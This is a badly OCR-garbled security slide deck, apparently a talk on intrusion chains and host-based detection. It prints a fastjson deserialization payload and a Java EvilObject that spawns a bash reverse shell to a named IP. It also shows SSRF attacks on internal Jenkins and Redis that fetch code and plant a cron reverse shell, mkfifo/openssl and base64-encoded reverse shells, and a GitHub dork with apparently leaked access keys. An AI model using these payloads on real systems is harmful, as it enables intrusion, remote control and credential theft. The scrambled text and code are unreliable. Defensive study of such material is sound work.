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Initial Access Persistence Discovery

Network Service
Scanning

Redundant Access

Vul_type: fastjson____ [ G {1
| | 5+ I et
0, | Eindr: I “ah '
' I UA: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) ' p

Chrome/74.0 NGB . '
> szip: 1. I T4
Sl 82909090 E
uri: /message/ I
) / ,’ Referer: https://www. | IEGzGR

Post_data: {"1vxagk":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetimpl"},"'s4d38

r':{"@type":"com.sun.rowset. JdbcRowSetlmpI""dataSourceName“ rmi:// |
'"autoCommit":true}}
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R o8 | . Exploit Public-Facing
s A A Appllcatlon

/
! : /
Iy
” [ 1' ’
( [
[ / p )
' [ ' : ) ) ' ’ {
public class EvilObject { , '
public EvilObject() throws Exception { ‘ ' 0 !
" Runtime.getRuntime().exec( ' —_—
command: "/bin/bash -c $@|bash @ echo bash -i >&/dev/tcp/27.154.240.142/3333 0>&1"
)i
At '
/ / ' ' £
' / d
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PassiveDNS

PTR
Github

Google Hacking

f

Resolutions Whois Certificates Subdomains Trackers Components Host Pairs OSINT Ha

i)

1-1of1 ¥ Sort : Last Seen Descending ¥

Resolve Location Network ASN

Unknown

$dig -x 10.0.32.136 @ns. .com

7 <<>> D16 9.11.3-1ubuntul.1l1-Ubuntu <<>> -x 16.0.32.136

'+ global options: +cmd

17 Got answer:

1+ =>>HEADER<<- opcode: QUERY, status: NOERROR, id: 3317

1+ flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: ©, ADDITIONAL: 1

i1 OPT PSEUDOSECTION:

; EDNS: version: @, flags:; udp: 65494

i1 QUESTION SECTION:
*136.32.0.10.1n-addr.arpa. IN PTR

+* ANSWER SECTION:
136.32.0.10.1n-addr.arpa. 688 IN PTR dev-inner-redisl. .com.

;7 Query time: 67 msec

++ SERVER: 10.101.0.1#53(10.101.0.1)
17 WHEN: Tue Dec 31 14:47:30 UTC 2019
1+ MSG SIZE rcvd: 240
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Hacker by Surfing

EE; r]' r]' fssrf_vulnerable?url=http://dev-inner-jenkins.skkskk.com/descriptorByNa

pear p IS Ing me/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptComp
ile?value=@RGrabConfig(disableChecksums=true)%Ba@GrabResolver(name="'1lsd’
JH20root="http://27.154.2408.142:846" )%RakGrab(group="package"' ,%28module=
'1sd’' ,%28version="1")%Baimport%28Lsd;

var formData = new FormData();

formData.append("8", "auth lgj’ﬁ;'+"“P"*"luShs;l”+“\””V”CQPfig set
dir /var/spool/cron/"+"\n"+"config set dbfilename root"+"\n"+'set 3
DC "\\n\\n*x/1 % % % * /uzvﬁJ n ~i >& /dev/tcp/27.154.240.142/80800
&3 ] 1# ' 4 "$"save'+ '‘quit®):

xmlHttp.open("POST","http://dev-1nner-redisl. kxkik¥xx,.com:6379",true)

!
xmlHttp.send(formData);
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$mkfifo /tmp/s; /binfsh -1 < /tmp/s 2>&1 | openssl s_client —-guiet —con
nect 27.154.2408.142:443 > /tmp/s; rm /tmp/s

HAl 18 ’Jﬁv*%ﬁﬁEE’J ARl

E ﬁE’Jjj_/f J echo "YmFzaCAtaSA+J1AvZGV2L3RjcC8yNy4xNTQuMjQwLjEOM18zMzMzID
A+JJEK" |baseb64 —d|sh

encrypt

encode

bypass AV
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/core_app/rand_path1/work/
/core. app/rand_path2/work/
/core_app/rand  path3/work/
/core_app/rand_path4/work/
/core_app/rand_pathb5/work/

/var/vvvvw/htmI/;xxx.com/core/
/home/admin/
/home/admin/

systemd—

—accounts—daemon——-2x[{accounts—daemon}]
—acpid

—2x[agetty]

—amazon—-ssm—agen——7%[ {amazon-ssm—-agen}]
—atd

—cron

—dbus—daemon

—lvmetad

—1xcfs—10x[{1xcfs}]
—networkd-dispat——{networkd-dispat}
—Nginx—nginx

—polkitd—-2%[{polkitd}]
—rsyslogd—-3x[{rsyslogd}]
—snapd—-_8x[{snapd}]

—sshd sshd sshd—EEash—pstree
ash——vim

e HEF 5t
e /core_app/[\W]{5,6}/work/ = FEWMN L
5 >
/home/admin/ 1
JPaR E3E: ETF 50T
N-gram Sshd->bash->vim =y oyl 1
> >
Netstat->grep->awk 1

WHE RAER Pr(|X — p| > ko) < —

AX: EE-AHERT, HTHLFH

Tk
:

2
%
%

BETEHNNLAEEZEZE D H1-1/k%

k-

M7
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Phishing
Secret-Key Leaks

CIWEL

/ B A

1IC—/RE R TI & E SR
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accesskey site:github.com inurl:conf

Q28 LER MWL BSfHE :BZ
RSN 317 FER, PATEE 701 (HET 0.32 #)

Cloud-Image-Migration-Tool/config.ini.template at master ..

https://github.com » tencentyun > blob » master > conf > config.i... v &% JJZlS_)..,,
AccessKey = _17terLxP-ZK7tma9iXgm7MuEOKk72yP90ZBIP35G. giniu.SecretKey =
PFw6JivhTAANKRojaguUkKCG6tIFHAI9SBrjVYdfya. ; domain should start with ...

An SSRF, privileged AWS keys and the Capital One breach

https://blog.appsecco.com » an-ssrf-privileged-aws-keys-and-the-capital-on... ~
Aug 4, 2019 - The attacker gained access to a set of AWS access keys by accessing the AWS

EC2 metadata service via a SSRF vulnerability. ... In the security industry, amongst security
researchers and bug bounty hunters, SSRF or Server Side Request Forgery is an extremely
lucrative bug, especially ...
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